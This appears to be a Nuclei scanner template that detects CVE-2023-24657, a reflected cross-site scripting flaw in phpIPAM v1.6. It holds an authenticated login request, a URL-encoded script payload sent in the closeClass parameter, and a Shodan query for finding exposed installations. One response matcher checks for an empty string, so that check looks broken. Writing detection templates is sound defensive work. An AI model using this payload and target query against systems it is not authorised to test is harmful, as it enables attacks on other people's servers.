id: CVE-2023-24657 info: name: phpIPAM IP address management v1.6 - Cross Site Scripting author: r3Y3r53 severity: medium description: | phpipam v1.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the closeClass parameter at /subnet-masks/popup.php. reference: - https://github.com/phpipam/phpipam/issues/3738 - https://nvd.nist.gov/vuln/detail/CVE-2023-24657 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-24657 cwe-id: CWE-79 metadata: shodan-query: html:"phpIPAM IP address management" verified: "true" tags: cve,cve2023,xss,phpipam,authenticated requests: - raw: - | POST /app/login/login_check.php HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded ipamusername={{username}}&ipampassword={{password}} - | GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/2 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(body_2, "") && contains(body_2, "Subnet masks")' condition: and